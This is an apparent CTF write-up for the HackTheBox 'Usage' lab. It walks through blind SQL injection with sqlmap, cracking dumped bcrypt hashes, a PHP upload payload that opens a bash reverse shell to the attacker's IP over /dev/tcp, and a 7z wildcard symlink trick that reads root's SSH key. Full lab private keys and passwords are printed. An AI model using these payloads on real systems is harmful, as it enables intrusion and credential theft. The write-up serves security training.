Usage – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
Usage
is an easy Linux
machine from HackTheBox
. After an initial scan above TCP
ports, they show the victim machine is running a website. This website presents a simple login panel, where we are able to create an account and find a new subdomain for the site. There is an option for our created user to restart our password; nevertheless, this function is vulnerable to SQL Injection
. Thanks to this vulnerability, we are able to find the password for the admin panel in the previously found subdomain. Once inside this panel, we see that it is using a vulnerable Laravel
version to CVE-2023-24249. Thanks to this new vulnerability, we are able to gain access into the victim machine. Once inside, we are able to find credentials into some readable files and pivot to a new user. This new user can run a custom binary along with sudo
. Using Ghidra
we apply Reverse engineering
over this binary and find it is running 7z
along with wildcard character (*
). This allows us to read files owned by root
, like its SSH key; which allows us to connect as root via SSH
and complete the machine.
User Link to heading
We start with Nmap
scanning for open TCP
ports:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.18
Nmap
scan shows only 2 ports open: 22
SSH
and 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.18 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 20:04 -04
Nmap scan report for 10.10.11.18
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.96 seconds
From the scan I note that it is redirecting to http://usage.htb
, so I add this domain to my /etc/hosts
file running:
❯ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
Using WhatWeb
on this site shows that the page is running on Laravel
:
❯ whatweb -a 3 http://usage.htb
http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Visiting http://usage.htb
from an internet browser shows a simple login panel:
Since I don’t have credentials I will create a simple account clicking at the top right on Register
. This redirects us to http://usage.htb/registration
. There we create a simple account:
Log in the panel at http://usage.htb
with the created account and we can see now the page:
but the site itself do not show anything interesting.
I also note at the top right I can see an Admin
that redirects to admin.usage.htb
, so I add this new domain to my /etc/hosts
file, so now this file looks like:
❯ tail -n 1 /etc/hosts
10.10.11.18 usage.htb admin.usage.htb
Visiting http://admin.usage.htb
shows another login panel:
but, again, I am not able to see something interesting.
One last thing to check is the Reset Password
button. It redirects to http://usage.htb/forget-password
:
I will put a random e-mail and intercept the request with Burpsuite
. The request looks like:
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email=test%40test.com
I send this to the Repeater
and start playing with the parameters. Playing with email
parameter gives us something. If I send the SQL Injection
(SQLi
) payload:
ORDER BY 8-- -
with Burpsuite
in email
parameter:
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email='+ORDER+BY+8--+-
this returns a code 302 Found
.
But if I change the payload to:
ORDER BY 9-- -
in Burpsuite
with the request:
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
DNT: 1
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkU0OFBzSlVIZUtkNi9FMTdqYU1oTWc9PSIsInZhbHVlIjoiL21JRGJoNko0VXloTis3anNhN3o4QjEzVnM3VXpyZzR1eEp5dGNoNVFrbjl2ZnhZWW11MjJQNk14SGs1MmQ2ZXhVTExVRnNJSkRIaldCblpFTHNUZDE4VHBsU00rQmFVbGRFRUt2eGliMnpQc0ZaVTl1YTRDREdsYzk3elVJRm0iLCJtYWMiOiJiOGFlNzcxY2M0Yzg0N2QxMmNlMzE4MDNjYzgxM2NjN2JhODcxNzQ2MjMwNDZmMTIzYjJjYTRhY2MwZDBmYzY3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdNSGFCZ2ZhZHAwZGhUVk1IV1hGblE9PSIsInZhbHVlIjoiR2pFTXBvTmJ1d1FSY3doVkxjTWwrMU8rWC9TbVhXREY1endLUFJmRjA2Sk51MHFKZ2RrTENHRXRyWDU1NFN3dzBmZ0pPSndGUzRGQVhWOUl4cFBvRkY4YTlFcGgyQmh3Tjc0aWxVdzFlamhkQnl2MVNqeStTNU5ZNG1mUGttSG0iLCJtYWMiOiI3N2E3MGEyYjhlMGMwODUxODcwOTM3NTBhYTVlMzliNWY1ZDQyZWU4NjUxZWE2YWU2NTU3ZWM1OTEyODg3MjVhIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
_token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email='+ORDER+BY+9--+-
we get code 500 Internal Server Error
.
This might indicate a “Boolean-based blind SQLi
”.
So I will start using SQLMap
since we have detected the injectable parameter. In Burpsuite
, I will right click on the request (with the parameter email=test@test.com
), and then select Copy to file
option and save it as request.req
. Then, start using SQLMap
:
❯ sqlmap -r request.req --batch -p 'email' --level 5 --risk 2 --technique=B
<SNIP>
[21:43:06] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 159 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=gOcHdqPJZFjMfEbgKpc027onHHcAX91A1bzez6Ay&email=test@test.com' AND 4290=(SELECT (CASE WHEN (4290=4290) THEN 4290 ELSE (SELECT 3154 UNION SELECT 6462) END))-- ENph
---
[21:43:28] [INFO] testing MySQL
[21:43:30] [INFO] confirming MySQL
[21:43:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[21:43:34] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 76 times
<SNIP>
where --technique=B
specifies the technique “Boolean-based blind” injection (and save us a lot of time) as we have found.
Then extract databases with --dbs
flag:
❯ sqlmap -r request.req --batch --dbs --threads 10
<SNIP>
[21:48:56] [INFO] retrieved: information_schema
[21:48:56] [INFO] retrieving the length of query output
[21:48:56] [INFO] retrieved: 18
[21:49:19] [INFO] retrieved: performance_schema
[21:49:19] [INFO] retrieving the length of query output
[21:49:19] [INFO] retrieved: 10
[21:49:36] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
<SNIP>
usage_blog
database seems interesting. Check its tables using --tables
flag and selecting it with -D
flag:
❯ sqlmap -r request.req --batch -D usage_blog --tables --threads 10
<SNIP>
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
<SNIP>
Now, we can use -T
to select a table, -C
to select the columns we are interested in, and --dump
to extract the info on them. First, I decide to check users
table. I extract the credentials from the user I have just created and get some other users:
❯ sqlmap -r request.req --batch -D usage_blog -T users -C name,email,password --dump --threads 10
<SNIP>
Database: usage_blog
Table: users
[3 entries]
+---------+---------------------+--------------------------------------------------------------+
| name | email | password |
+---------+---------------------+--------------------------------------------------------------+
| gunzf0x | gunzf0x@gunzf0x.htb | $2y$10$Iwn4leouz.OMaCrCrNAnju3DeLg44iBomGinDkBvoJi1yzT3L2lhm |
| raj | raj@raj.com | $2y$10$7ALmTTEYfRVd8Rnyep/ck.bSFKfXfsltPLkyQqSp/TT7X1wApJt4. |
| raj | raj@usage.htb | $2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa |
+---------+---------------------+--------------------------------------------------------------+
<SNIP>
I save these hashes into a file and attempt a Brute Force Password Cracking
with the tool JohnTheRipper
(john
) and get:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt raj_credentials
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xander (raj2)
xander (raj1)
2g 0:00:00:37 DONE (2024-05-30 22:11) 0.05376g/s 59.27p/s 118.5c/s 118.5C/s monalisa..iloveme2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
so we have credentials: raj:xander
.
I can log in with these credentials to http://usage.htb
, but I see exactly the same as my generic account. Nothing new, sadly. These credentials do not work at http://admin.usage.htb
either.
Back to SQLMap
I remember an admin_users
table. I try to dump its content, where I can see a username
and password
columns:
❯ sqlmap -r request.req --batch -D usage_blog -T admin_users -C username,password --dump --threads 10
<SNIP>
Database: usage_blog
Table: admin_users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
+----------+--------------------------------------------------------------+
<SNIP>
I save again this user and password and attempt, again, a Brute Force Password Cracking
with john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt admin_credentials
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1 (admin)
1g 0:00:00:11 DONE (2024-05-30 22:17) 0.08598g/s 139.2p/s 139.2c/s 139.2C/s amber1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
where we find credentials: admin:whatever1
I use these credentials at http://admin.usage.htb
and they work. We can now see:
where I can clearly see a version 10.18.0
for Laravel
.
Searching for exploits for this version leads us to the vulnerability labeled as CVE-2023-24249. In short, this vulnerability allows us to execute arbitrary code via crafted PHP
files. We can click on Administrator
name at the top right, then on Settings
and we should see a page like:
I note that when I upload a file, it is uploaded at https://admin.usage.htb/uploads/images/<image-name>
. But after some time, the system applies a reset (deletes the uploaded file), so we must act quickly.
We will intercept the uploaded file with Burpsuite
. Click on Reset
and I will upload a random png
image called sample.png
. Then, when clicking on Submit
it is intercepted by Burpsuite
. In the image data I will add the PHP
payload:
<?php system('bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'); ?>
where 10.10.16.6
is my attacker IP and 443
is the port I will start listening with netcat
. Also, before uploading the image, I will set the filename
as sample.png.php
Start a netcat
listener on port 443
:
❯ nc -lvnp 443
Upload the file and then quickly visit https://admin.usage.htb/uploads/images/sample.png.php
.
I get a shell as dash
user on my listener:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.18] 33774
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ whoami
whoami
dash
We could already get the user flag, but I check if we can connect via SSH
. I note that this user has a SSH
key at /home/dash/.ssh/
:
dash@usage:/var/www/html/project_admin/public/uploads/images$ cat /home/dash/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA3TGrilF/7YzwawPZg0LvRlkEMJSJQxCXwxT+kY93SpmpnAL0U73Y
RnNLYdwGVjYbO45FtII1B/MgQI2yCNrxl/1Z1JvRSQ97T8T9M+xmxLzIhFR4HGI4HTOnGQ
doI30dWka5nVF0TrEDL4hSXgycsTzfZ1NitWgGgRPc3l5XDmzII3PsiTHrwfybQWjVBlql
QWKmVzdVoD6KNotcYgjxnGVDvqVOz18m0ZtFkfMbkAgUAHEHOrTAnDmLY6ueETF1Qlgy4t
iTI/l452IIDGdhMGNKxW/EhnaLaHqlGGwE93cI7+Pc/6dsogbVCEtTKfJfofBxM0XQ97Op
LLZjLuj+iTfjIc+q6MKN+Z3VdTTmjkTjVBnDqiNAB8xtu00yE3kR3qeY5AlXlz5GzGrD2X
M1gAml6w5K74HjFn/X4lxlzOZxfu54f/vkfdoL808OIc8707N3CvVnAwRfKS70VWELiqyD
7seM4zmM2kHQiPHy0drZ/wl6RQxx2dAd87AbAZvbAAAFgGobXvlqG175AAAAB3NzaC1yc2
EAAAGBAN0xq4pRf+2M8GsD2YNC70ZZBDCUiUMQl8MU/pGPd0qZqZwC9FO92EZzS2HcBlY2
GzuORbSCNQfzIECNsgja8Zf9WdSb0UkPe0/E/TPsZsS8yIRUeBxiOB0zpxkHaCN9HVpGuZ
1RdE6xAy+IUl4MnLE832dTYrVoBoET3N5eVw5syCNz7Ikx68H8m0Fo1QZapUFiplc3VaA+
ijaLXGII8ZxlQ76lTs9fJtGbRZHzG5AIFABxBzq0wJw5i2OrnhExdUJYMuLYkyP5eOdiCA
xnYTBjSsVvxIZ2i2h6pRhsBPd3CO/j3P+nbKIG1QhLUynyX6HwcTNF0PezqSy2Yy7o/ok3
4yHPqujCjfmd1XU05o5E41QZw6ojQAfMbbtNMhN5Ed6nmOQJV5c+Rsxqw9lzNYAJpesOSu
+B4xZ/1+JcZczmcX7ueH/75H3aC/NPDiHPO9Ozdwr1ZwMEXyku9FVhC4qsg+7HjOM5jNpB
0Ijx8tHa2f8JekUMcdnQHfOwGwGb2wAAAAMBAAEAAAGABhXWvVBur49gEeGiO009HfdW+S
ss945eTnymYETNKF0/4E3ogOFJMO79FO0js317lFDetA+c++IBciUzz7COUvsiXIoI4PSv
FMu7l5EaZrE25wUX5NgC6TLBlxuwDsHja9dkReK2y29tQgKDGZlJOksNbl9J6Om6vBRa0D
dSN9BgVTFcQY4BCW40q0ECE1GtGDZpkx6vmV//F28QFJZgZ0gV7AnKOERK4hted5xzlqvS
OQzjAQd2ARZIMm7HQ3vTy+tMmy3k1dAdVneXwt+2AfyPDnAVQfmCBABmJeSrgzvkUyIUOJ
ZkEZhOsYdlmhPejZoY/CWvD16Z/6II2a0JgNmHZElRUVVf8GeFVo0XqSWa589eXMb3v/M9
dIaqM9U3RV1qfe9yFdkZmdSDMhHbBAyl573brrqZ+Tt+jkx3pTgkNdikfy3Ng11N/437hs
UYz8flG2biIf4/qjgcUcWKjJjRtw1Tab48g34/LofevamNHq7b55iyxa1iJ75gz8JZAAAA
wQDN2m/GK1WOxOxawRvDDTKq4/8+niL+/lJyVp5AohmKa89iHxZQGaBb1Z/vmZ1pDCB9+D
aiGYNumxOQ8HEHh5P8MkcJpKRV9rESHiKhw8GqwHuhGUNZtIDLe60BzT6DnpOoCzEjfk9k
gHPrtLW78D2BMbCHULdLaohYgr4LWsp6xvksnHtTsN0+mTcNLZU8npesSO0osFIgVAjBA6
6blOVm/zpxsWLNx6kLi41beKuOyY9Jvk7zZfZd75w9PGRfnc4AAADBAOOzmCSzphDCsEmu
L7iNP0RHSSnB9NjfBzrZF0LIwCBWdjDvr/FnSN75LZV8sS8Sd/BnOA7JgLi7Ops2sBeqNF
SD05fc5GcPmySLO/sfMijwFYIg75dXBGBDftBlfvnZZhseNovdTkGTtFwdN+/bYWKN58pw
JSb7iUaZHy80a06BmhoyNZo4I0gDknvkfk9wHDuYNHdRnJnDuWQVfbRwnJY90KSQcAaHhM
tCDkmmKv42y/I6G+nVoCaGWJHpyLzh7QAAAMEA+K8JbG54+PQryAYqC4OuGuJaojDD4pX0
s1KWvPVHaOOVA54VG4KjRFlKnPbLzGDhYRRtgB0C/40J3gY7uNdBxheO7Rh1Msx3nsTT9v
iRSpmo2FKJ764zAUVuvOJ8FLyfC20B4uaaQp0pYRgoA5G2BxjtWnCCjvr2lnj/J3BmKcz/
b2e7L0VKD4cNk9DsAWwagAK2ZRHlQ5J60udocmNBEugyGe8ztkRh1PYCB8W1Jqkygc8kpT
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----
where I save this key as dash_id_rsa
.
Once saved, assign to it permissions and use it to connect via SSH
:
❯ nvim id_rsa_dash # save the key
❯ chmod 600 id_rsa_dash
❯ ssh -i id_rsa_dash dash@10.10.11.18
<SNIP>
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Apr 8 12:35:43 2024 from 10.10.14.40
dash@usage:~$ whoami
dash
and we can get the user flag.
Root Link to heading
I will upload LinPEAS
(that can be downloaded from its Github repository) using scp
:
❯ scp -i id_rsa_dash linpeas.sh dash@10.10.11.18:/tmp/linpeas.sh
and assigning to it execution permissions in the target machine with chmod +x /tmp/linpeas.sh
.
Running it finds a .env
file with a password:
dash@usage:~$ /tmp/linpeas.sh
<SNIP>
╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rwxrwxr-x 1 dash dash 5289 Aug 13 2023 /var/www/html/project_admin/config/database.php
<SNIP>
╔══════════╣ Analyzing Env Files (limit 70)
-rwxrwxr-x 1 dash dash 1176 Aug 23 2023 /var/www/html/project_admin/.env
<SNIP>
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=usage_blog
DB_USERNAME=staff
DB_PASSWORD=s3cr3t_c0d3d_1uth
<SNIP>
but I note this is the database we have dumped through SQL Injection|SQLi
, so it is not worth wasting our time on it.
I check files in /home/dash
directory. .monitrc
is not a typical file. Checking it:
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alert
we have credentials: admin:3nc0d3d_pa$$w0rd
.
Checking users in this machine we have:
dash@usage:~$ ls /home
dash xander
I attempt to change to xander
user with this new password (3nc0d3d_pa$$w0rd
) and it works:
dash@usage:~$ su xander
Password:
xander@usage:/home/dash$
I check what commands can this user run with sudo
and we have one program:
xander@usage:/home/dash$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
we find that we can execute /usr/bin/usage_management
as root
without providing a password.
It is a compiled binary:
xander@usage:/home/dash$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
Using strings
we have:
xander@usage:/home/dash$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
perror
printf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
Scrt1.o
<SNIP>
but it does not say much about how the binary works. Just that it gives some options.
Just to attempt some Reverse Engineering
I pass this binary to my machine using scp
. I run on my machine:
❯ scp -i id_rsa_dash dash@10.10.11.18:/usr/bin/usage_management ./usage_management
Then, I open this binary with Ghidra
. Analyzing the main
function this seems like a program written in C
:
where the main
function is:
undefined8 main(void)
{
int local_c;
puts("Choose an option:");
puts("1. Project Backup");
puts("2. Backup MySQL data");
puts("3. Reset admin password");
printf("Enter your choice (1/2/3): ");
__isoc99_scanf(&DAT_0010214c,&local_c);
if (local_c == 3) {
resetAdminPassword();
return 0;
}
if (local_c < 4) {
if (local_c == 1) {
backupWebContent();
return 0;
}
if (local_c == 2) {
backupMysqlData();
return 0;
}
}
puts("Invalid choice.");
return 0;
}
As expected, selecting different options trigger different functions. Analyzing resetAdminPassword
function (the one executed if we select option 3
in the binary) literally does nothing. Just prints a message:
void resetAdminPassword(void)
{
puts("Password has been reset.");
return;
}
But backupWebContent
function (the one that is executed if we select the option 1. Project Backup
) seems interesting:
void backupWebContent(void)
{
int iVar1;
iVar1 = chdir("/var/www/html");
if (iVar1 == 0) {
system("/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *");
}
else {
perror("Error changing working directory to /var/www/html");
}
return;
}
It is executing with system
7z
to create a backup. However, the “vulnerable” part here is the *
(wildcard) symbol.
Checking at HackTricks how to exploit wildcards with 7z we see that we are able to read files owned by root
user. The steps explained in the page are:
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
so we modify it for our purposes. As can be seen at backupWebContent
function the 7z
“acting folder” is /var/www/html
. We can attempt to read /root/root.txt
file or, to gain access as root
user, attempt to read /root/.ssh/id_rsa
file (hoping it exists). So we run in the victim machine:
xander@usage:/tmp$ cd /var/www/html
xander@usage:/var/www/html$ touch @id_rsa
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz (50657),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54830415
Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
2984 folders, 17948 files, 113879509 bytes (109 MiB)
Updating archive: /var/backups/project.zip
Items to compress: 20932
Files read from disk: 17948
Archive size: 54830556 bytes (53 MiB)
Scan WARNINGS for files and folders:
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7
where we can see the SSH
key, but split on parts.
I “rebuild” the key and save it in my attacker machine:
❯ cat id_rsa_root
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
Connect to the target machine as root
user via SSH
:
